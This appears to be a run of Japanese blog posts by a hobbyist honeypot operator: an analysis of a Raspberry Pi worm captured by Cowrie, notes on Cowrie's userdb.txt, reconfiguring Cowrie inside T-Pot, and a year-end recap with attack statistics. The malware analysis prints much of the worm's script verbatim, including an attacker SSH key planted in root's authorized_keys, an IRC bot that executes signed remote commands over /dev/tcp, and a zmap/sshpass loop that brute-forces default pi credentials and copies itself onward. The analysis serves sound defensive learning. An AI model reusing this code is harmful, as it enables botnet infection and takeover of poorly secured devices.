  • $DEBUGには/dev/nullが代入されており、スクリプト内で事あるごとに>> $DEBUGという部分が見受けられます。/dev/nullはNULLデバイスと呼ばれるスペシャルファイルで 、簡単に言えばこれに対してリダイレクトで何かを入力してもその入力はただ破棄され、無意味な処理となります。おそれくこれは変数名の通り、デバッグ時には$DEBUGに他のファイルが指定されておりログを取っていたものと思われますので、その部分は無視して進めます。

つまりこの部分では、スクリプトがroot権限で実行されていなければ/opt/ 配下にこのスクリプト自体をコピーし、再起動時に自動でそのコピーが実行されるように/etc/rc.localを上書きして再起動するという処理を行っています。
これによって、スクリプトはroot権限で実行し直されます。

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl
  • killallは、killコマンドがプロセスIDを指定してプロセスを終了させるのに対して、プロセス名を指定してプロセスを終了させます。

この部分では、killallコマンドを使ってさまざまなプロセスをkillしていることがわかります。ちなみに、killしているほとんどのプロセスがマルウェアや仮想通貨のマイナーで、いわゆる競合他社的な奴らをとりあえず止めているようです。

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
  • usermodコマンドのpオプションでは、ユーザのパスワードを暗号化されたパスワードを指定することで設定します。

最初の部分では、bashの設定ファイルを削除しています。これは、ユーザによる設定で攻撃者側に予期しないことが起こらないようにしていると推測します。
また、ユーザのパスワードを変更しています。コマンドの引数となっている長い文字列は暗号化されたものであるため、どのようなパスワードに変更しようとしているかはわかりません。

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

この部分ではrootユーザとしてSSH接続するための公開鍵を設定しています。

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

ここではDNSサーバのIPアドレス8.8.8.8に指定して、前述した競合他社のファイルと見られるものを削除しています。

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

/tmp/public.pemとして公開鍵証明書?を保存しています。

BOT=`mktemp -u 'XXXXXXXX'`

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

  arr[0]="**.undernet.org"
  arr[1]="***.undernet.org"
  arr[2]="****.**.***.UnderNet.org"
  arr[3]="***.***.****.Undernet.Org"
  arr[4]="**.*****.***.UnderNet.org"
  arr[5]="**.*********.*.Undernet.org"
  rand=$[$RANDOM % 6]
  svr=${arr[$rand]}

  eval 'exec 3<>/dev/tcp/$svr/6667;'
  if [[ ! "$?" -eq 0 ]] ; then
          continue
  fi

  echo $NICK

  eval 'printf "NICK $NICK\r\n" >&3;'
  if [[ ! "$?" -eq 0 ]] ; then
          continue
  fi
  eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
  if [[ ! "$?" -eq 0 ]] ; then
      continue
  fi

  # Main loop
  while [ true ]; do
      eval "read msg_in <&3;"

      if [[ ! "$?" -eq 0 ]] ; then
          break
      fi

      if  [[ "$msg_in" =~ "PING" ]] ; then
          printf "PONG %s\n" "${msg_in:5}";
          eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
          if [[ ! "$?" -eq 0 ]] ; then
              break
          fi
          sleep 1
          eval 'printf "JOIN #biret\r\n" >&3;'
          if [[ ! "$?" -eq 0 ]] ; then
              break
          fi
      elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
          privmsg_h=$(echo $msg_in| cut -d':' -f 3)
          privmsg_data=$(echo $msg_in| cut -d':' -f 4)
          privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

          hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
          sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

          if [[ "$sign" == "$hash" ]] ; then
              CMD=`echo $privmsg_data | base64 -d -i`
              RES=`bash -c "$CMD" | base64 -w 0`
              eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
              if [[ ! "$?" -eq 0 ]] ; then
                  break
              fi
          fi
      fi
  done
done
EOFMARKER

chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

この部分では、/tmp/配下に新しいシェルスクリプトを作成し、実行しています。また、変数名からもわかるとおり、この新しく作成され実行されているスクリプトは、Botの動作をしており、IRCをC2通信に用いていることからIRCBotと呼ばれるものと判断できます。
IRCサーバのドメインは一応一部隠しています。 以下に実行されるIRCBotの動作を簡単に説明します。

  • uname-aの結果を使って、ユニークなニックネームを生成
  • 以下を繰り返す
    • 6つのIRCサーバの候補からランダムに1つ選び、生成したユニークなニックネームをつかって接続、接続が切れたら再び接続
    • "PING"が含まれたメッセージを受け取ったら、"PONG <ニックネーム>"と返答する
    • "PRIVMSG"が含まれたメッセージを受け取ったら、そのメッセージからデータ部分と認証子を取り出し、すでに作成した公開鍵/tmp/public.pemを使って認証を行う。認証を通れば、データ部分をデコードして手に入るコマンドを実行し、その結果を""PRIVMSG <ニックネーム> :<結果>"という形で送信する。
NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
    FILE=`mktemp`
    zmap -p 22 -o $FILE -n 100000
    killall ssh scp
    for IP in `cat $FILE`
    do
        sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
        sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    done
    rm -rf $FILE
    sleep 10
done

fi
  • zmap : 有名なネットワークスキャナ

    ZMAPとは、ミシガン大学の研究者たちがワシントンで開催されたUSENIXセキュリティカンファレンス上で発表した、オープンソースのネットワークスキャナです。  このツールの売りは、「スキャンの速さ」で、インターネット上にあるすべてのIPv4アドレス(/0)をわずか45分でスキャンできると言われています。 ネットワークスキャンツール「ZMAP」のインストール - sonickun.log

  • sshpass : SSH接続を自動化したい際に、対話形式でパスワード入力をしなくてもいいので楽に接続できるコマンド

これで最後です。この部分では、他のRaspberryPiに感染を拡大するための自己伝染機能の処理が書いてあります。以下にこの部分の処理について簡単に説明します。

  • zmapによって、100000のIPアドレスを調べ、22番ポートが開いているマシンのIPアドレスをファイルに出力
  • zmapによってファイルに出力されたIPアドレスそれぞれに対して、sshpassを使って次の2つの組み合わせでログイン試行する
    • pi/raspberry
    • pi/raspberryraspberry993311
  • ログインに成功した場合以下の3つの処理を行う
    • sshpassのscp機能によって、/tmp/$NAMEとして、自分自身のファイル(今回分析したこのシェルスクリプト)を送信する($NAMEにはランダムな8文字のファイル名が格納されている)
    • 成功したIPアドレス/tmp/.rに書き込む
    • sshpassのssh機能で再度ログインして、cd /tmp && chmod +x $NAME && bash -c ./$NAMEを実行する。

この感染拡大のための処理には見覚えがあります。pi/raspberryraspberry993311は同一IPからログイン試行があった組み合わせで、ログイン成功後の処理はCowrieが記録したものと同一のものです。

つまり、今回Cowrieが受けたこの一連の攻撃は、攻撃者のマシンから直接アクセスがあったわけではなく、他のRaspberryPiに感染したこのマルウェアが伝染のためにアクセスしてきたものだったと結論付けられます

わかったこと

  • パスワードの設定が甘いRaspberryPiを標的とした、IRCBotを設置するためのシェルスクリプトだった
  • また自己伝染の機能も持っている
  • 今回Cowrieが記録した攻撃は、その自己伝染の機能によるものである可能性が高い

余談

結構流行ってる?っぽい

シェルスクリプトの内容を読んでいくにあたって、ググっていくなかで同じスクリプトに感染して、「なんじゃこれ?」ってなってる人や、分析している人を複数みつけた。
ただ大体が去年の記事なので乗り遅れた感。

raspberrypi.stackexchange.com

tobsan.se

うちのアンチウイルスソフトは優秀でした

シェルスクリプトを読むにあたって、ローカルのVSCodeにコピペして読み進めていたところ、保存もしていないのにアンチウイルスくんが騒ぎ出しまして、なにかと思ったら、おそらくエディタがアクシデント?に備えて自動で保存してくれたファイルに反応してリアルタイムで削除してくれていました。
優秀なお手を煩わせてもうしわけありませんでした。

f:id:teppay:20180121230636p:plain

まとめ

  • はじめてまともにハニーポットのログ分析をした
  • はじめてにしては重たいものを選んでしまったと途中で後悔した。
  • 結果的にはじめて「マルウェア」に触れることができて、それの分析も自分なりにしっかり出来たつもりでいるので、成長を感じた
  • デフォルトのパスワードは変えなきゃだめ、ぜったい!

Cowrieのuserdb.txtの書き方

はじめに

  • タイトルの通り、Cowrieのuserdb.txtの書き方を調べたので、覚え書き的なもの
  • みればわかるやんって方はスルーで笑

わかったこと

フォーマット

まず、userdb.txtは、1行で1ユーザを表しており、1行は2つの':'(コロン)で区切られています。
1行の内容としては

<ユーザ名>:<uid>:<password>

です。
つまり、userdb.txtの中身が

root:0:passwd
admin:0:admin

である場合、

  • root/passwd
  • admin/admin

の2つの組み合わせのみが認証を通過して、シェルを触ることができるということです。
ここまではファイルの中身を見ればだいたいわかります。

passwordの書き方

ただし、パスワードはそのまま書く以外に2つ方法があります。

まずはそのまま
root:0:passwd

このように書くと、uidが0で、パスワードは'passwd'の'root'というユーザが出来ます。

ワイルドカード
root:0:*

このようにパスワード部分を'*'とすると、ワイルドカードとなり、どのようなパスワードでも認証に成功させる事ができます。
つまりあるユーザ名でアクセスしてくる人をパスワードにかかわらずログインさせ、行動を観察することが出来ます。

特定のパスワード拒否
root:0:!passwd

このように書いた場合、rootというユーザに'passwd'というパスワードでログインしようとした場合拒否する。という設定となっています。
ただし、この行の前に同じユーザ名でワイルドカードの行があった場合、ログインに成功してしまうため、特定のパスワードのみ拒否したい場合は、かならずワイルドカードよりも前の行に書く必要があります。

まとめ

  • 覚え書きでした。

T-PotのCowrieの設定を変更する

はじめに

  • T-Potは御存知の通り、Dockerの上に複数のハニーポットとELKがのった素晴らしいものなんです。
  • しかし、僕がDocker初心者だからかもしれませんが、それらのハニーポットの設定を個別に変更する(たとえばT-Pot上のCowrieの設定を変更する)のに一手間かかりました。
  • 今回はCowrieについてですが、この方法でおそらく全部イケルと思います。

動機

今回はタイトルの通り、「T-Potの中のCowrieの設定を変更する」わけなんですが、なぜこれをしたかったかという話をまずします。

Cowrieの認証の方式

CowrieはSSHの低対話型ハニーポットなので、だれかからのSSH接続試行に応答します。脆弱なSSHをエミュレートしているわけですので、user/passwordによる認証をするわけですが、その方法に2つの選択肢があります。"AuthRandom""UserDB"です。

AuthRandom

この方式ではその名の通り、ランダムに認証を成功させます。
つまり、正しいuser/passwordの組を用意せず、ランダムでn回目の試行で認証を成功させるという方式です。

UserDB

それに対して、"UserDB"では、こちらもその名の通り、予め用意したユーザのデータベースと照らし合わせ、それと合致したuser/passwordの組を使ってアクセスしてきた場合に認証を成功させることになります。
データベースとは書きましたが、userdb.txtというテキストファイルです。

T-PotのCowrie

T-PotのCowrieでは"AuthRandom"になっています。
最初は、たくさんアクセスが来て、どんなことを中でしてるのかplaylogで見てみようとワクワクしていたんですが、いかんせんMIRAI的なやつらからのアクセスが多すぎる
やつらのせいで、それ以外を探すやる気がそがれる。
なので、"UserDB"に設定を変更して、ログイン試行してきた少なめのuser/passwordの組に絞った形でどのような行動をしているかを見ていきたいというわけです。
それと並行して、アクセスのなかから興味深いものを(つまりMIRAI的なやつら以外のものを)見つけて教えてくれるようなスクリプトを書くことも検討しています。

やったこと

1. cowrie.cfguserdb.txt をコンテナ内からホストに持ってくる

T-Potを運用していれば知っていると思いますが、別々のコンテナで動作しているそれぞれのハニーポットが収集したログは、ホストの/data/配下にすべてまとまっています。これは僕もくわしくは説明できませんが、Docker Volumeという「コンテナ内のディレクトリをホストにマウントする」仕組みを使っています。簡単にいえば、コンテナとホストの共有フォルダをつくれる様なものです。(フォルダだけではありませんが、)
なのでコンテナ上のログが蓄積されるディレクトリに必要なファイルをコピーしてしまえば、ホストに持ってくることが出来ます。

# docker exec -it docker sh
$ cp /home/cowrie/cowrie/cowrie.cfg /home/cowrie/cowrie/log/
$ cp /home/cowrie/cowrie/data/userdb.txt /home/cowrie/cowrie/log/
$ exit

2. T-Potのサービスをstopする

T-Potの設定をいじるので、T-Pot自体を止めます。

# systemctl stop tpot

3. cowrie.cfguserdb.txtを移動する。

ログが蓄積されるディレクトリにそのまま置いておくのもかっこ悪いので、設定ファイルを置く場所を作って移動させます。

# mkdir /data/cowrie/conf
# mv /data/cowrie/log/cowrie.cfg /data/cowrie/conf/
# mv /data/cowrie/log/userdb.txt /data/cowrie/conf/

4. tpot.ymlを変更する。

これは、Docker Volumeによって、ホストのcowrie.cfguserdb.txtにコンテナ内のcowrie.cfguserdb.txtをリンクさせる設定です。 これによって、いちいちコンテナ内のシェルを叩かずに設定を変更できるようになります。

# vi /opt/tpot/etc/tpot.yml

[...]
# Cowrie service
  cowrie:
    container_name: cowrie
    restart: always
    networks:
     - cowrie_local
    cap_add:
     - NET_BIND_SERVICE
    ports:
     - "22:2222"
     - "23:2223"
    image: "dtagdevsec/cowrie:1710"
    volumes:
     - /data/cowrie/downloads:/home/cowrie/cowrie/dl
     - /data/cowrie/keys:/home/cowrie/cowrie/etc
     - /data/cowrie/log:/home/cowrie/cowrie/log
     - /data/cowrie/log/tty:/home/cowrie/cowrie/log/tty
     - /data/cowrie/conf/cowrie.cfg:/home/cowrie/cowrie/cowrie.cfg # add this line !!!!!!
     - /data/cowrie/conf/userdb.txt:/home/cowrie/cowrie/data/userdb.txt # add this line !!!!!!
[...]

5. cowrie.cfgを変更する

ついにCowrieの設定です。
この行を

#auth_class = UserDB

以下のように

auth_class = UserDB

そしてこの部分を

auth_class = AuthRandom
auth_class_parameters = 2, 5, 10

以下のように変更します。

# auth_class = AuthRandom
# auth_class_parameters = 2, 5, 10

6.userdb.txtに好きなuser/passwdの組を追加、削除する。

僕はとりあえず、raspberryPiのOSのraspbianの初期ユーザと、渾身のクソパスワードを設定したadminを追加してみました。
ちなみに真ん中の数字はuidです。

# echo 'pi:1:raspberry' >> userdb.txt
# echo 'admin:0:p@sSw0Rd' >> userdb.txt

こんな感じ。

teppay.hatenablog.com

7. T-Potのサービスをstart!

# systemctl start tpot

まとめ

  • T-Pot上のCowrieの設定を変更できた
  • これで多分ほかのハニーポットの設定も変更できるはず!
  • Dockerについても勉強が必要だと思った。

セキュキャン終わってからやってること、あとハニーポットのこと

はじめに

adventar.org

  • 実は人生初めてのAdventCalenderです!!
  • こんなことをやりました、こんなことをやっていきますっていう報告程度のことしか書いていませんので、僕の熱狂的なファンの方向けの内容となっております()
  • あと随時お仲間を募集しております。同じようなことやってるって方は仲良くしてください。

第1部 セキュキャン以後のこと

セキュキャンで得たもの

  • マルウェア(解析)、生の攻撃への興味
  • 知らなかった分野への好奇心
  • ハニーポッターになるきっかけ(さくらのクラウドのクーポン)
  • すごく強い参加者や講師、チューターと会って、いい意味での焦りを感じた

teppay.hatenablog.com

いままでやったこと&いまやってること

いままで
  • Dionaea(ハニーポット)
    とりあえず、生の攻撃にさらされてみたかったので、IPAの資料でも推奨されていた低対話ハニーポットのDionaeaを構築してみました。ただ、DionaeaFRというWebフロントエンドがうまく動かなかったのでやめました。

teppay.hatenablog.com

いまやってる
  • T-Pot(ハニーポット
    T-Potは、いろんな種類のハニーポットとログ可視化のためのELKがセットになったものです。 Dionaeaをやめて、T−Potに乗り換えて今も運用しています。忙しくてログを解析することは未だ出来ていないのですが、ぼちぼちやっていこうと思います。

teppay.hatenablog.com

  • Practical Malware Analysis

    これは有名?なマルウェア解析についての本です。
    ハニーポットのログ眺めてるだけっていうのも芸がないので、ハニーポットが捕まえたマルウェアを解析してみたいと思い勉強をはじめました。真面目に洋書を読むのは初めてだったのですが、技術的な英語は読みやすいし、Kindleで買ったのでわからない単語は長押しで調べられてとても便利です。
    静的解析動的解析のことはもちろん、難読化、アンチVMなどたっぷりお腹いっぱいな内容です。各章にはLabsという練習問題的なものがついていて、その詳細な解説までついてくるのでしっかり復習できます。自分はまだ全体の8%程度しか読めていません。これから頑張っていこうと思います。

Practical Malware Analysis: A Hands-On Guide to Dissecting Malicious Software

今後やっていきたいこと

  • Kaggle(機械学習の競技サイト)
  • CTF(マルウェア解析と通じる部分もあるはずなので、とくにRevをできる様になりたい)
  • なんかしら脆弱性をみつける!
  • Practical Malware Analysisを一周したらハニーポットで捕まえたマルウェアを解析してみる
  • 現在は低対話型のハニーポットですが、強くなったら高対話型のハニーポットもやってみたい
  • 勉強会ってやつにいきたい!まじで!
  • 同じようなものに興味ある方がいれば、ぜひ一緒にやりたいです!

第2部 T-Potの観察日記0日目

ほんとに簡単なことしか書かないので0日目としました。とりあえずここ1ヶ月のログについてです。単位を日にしましたが、毎日観察するわけではないのであしからず。。。

アクセス先のハニーポット(サービス)

SSHTelnetハニーポットであるCowrieへのアクセスがダントツですね。Cowrieの生のログを見た感じの感想としては、話題のMIRAIのアクセスが多いです。そのせいで他のログが見つからない(怒 f:id:teppay:20171224001316p:plain

攻撃してくる国について

割合としてはこんな感じです。スペインとロシアからのアクセスがダントツで多いです。IPアドレスの元がその国ってだけでその国の人の攻撃かはわからないですけど、ただ国ごとにアクセスの性格が違います。それを見てるだけでも楽しいです。今回はダントツのスペインとロシアだけ、
f:id:teppay:20171224000534p:plain

スペイン

スペインは(フランスなんかもそんなイメージがありますけど)、急にどーーーーーん!!とでかいアクセスが来ます。 f:id:teppay:20171224000841p:plain

ロシア

スペインとは対照的?にロシアは、サーバを見つけてからダラダラとネチネチとアクセスしてきています。 f:id:teppay:20171224001019p:plain

Cowrieに来る悲しいPassword

TagCloudってやつです。Kibanaって便利ですね。。。
f:id:teppay:20171224002032p:plain
/bin/busyboxenableshellのようなものは、なぜかログイン後にシェルに入力したものがTagCloudに表示されてしまっています。なのでPasswordとは違うと思います。(ちなみにおそらくMIRAIのアクセスによるものです。)

ごらんの通り、

  • 123
  • password
  • admin

のような、教科書どおりのパスワードも見受けられますが、ちょっと違うのもありますね。

  • ipcam_rt5350 (IPカメラのパスワード?)
  • ho4uku6at  (ランダム?)

みたいなやつです。これなにかなと思って調べてみましたが、いろんなハニーポットで検知されているようで、それが検索に引っかかっちゃってなんのパスワードなのかわかりませんでした。前者はインターネットに接続されるタイプのカメラのデフォルトパスワードなのかなと、勝手に思っています。

ただこいつらよりも僕の心をわしづかみにした、悲しいパスワードがあります。 f:id:teppay:20171224004301p:plain こいつです。
こいつがどんな思い出こんな屈辱的な名前にされたか,,,
そしてそれが報われず、changeしてもらえないせいで、辞書攻撃のためのパスワードリストに入ってしまっているんでしょう。それともchangeしてもらえているかどうかに関わらずリストには入れられてしまうんでしょうか。僕としては後者であることを祈るばかりです。。。

おわりに

  • 今回は seccamp2017 Advent Calendar 2017 - Adventarということで、人生初のAdvent Calenderでした!
  • 内容としては大したものでは無かったし、23日を1時間ほど過ぎてからの投稿になってしまいましたが今年(の後半)を振り返ることが出来て良かったです。
  • ハニーポットに関しては、今回はほんとに表層の部分しかみることができなかったのですが、これを足がかりにもっと深いところまで分析していけたらと思います。
  • 再三になりますが、同じようなことに興味があって、意見交換できるようなお仲間を随時募集してます。いましたらTwitterで話しかけてください。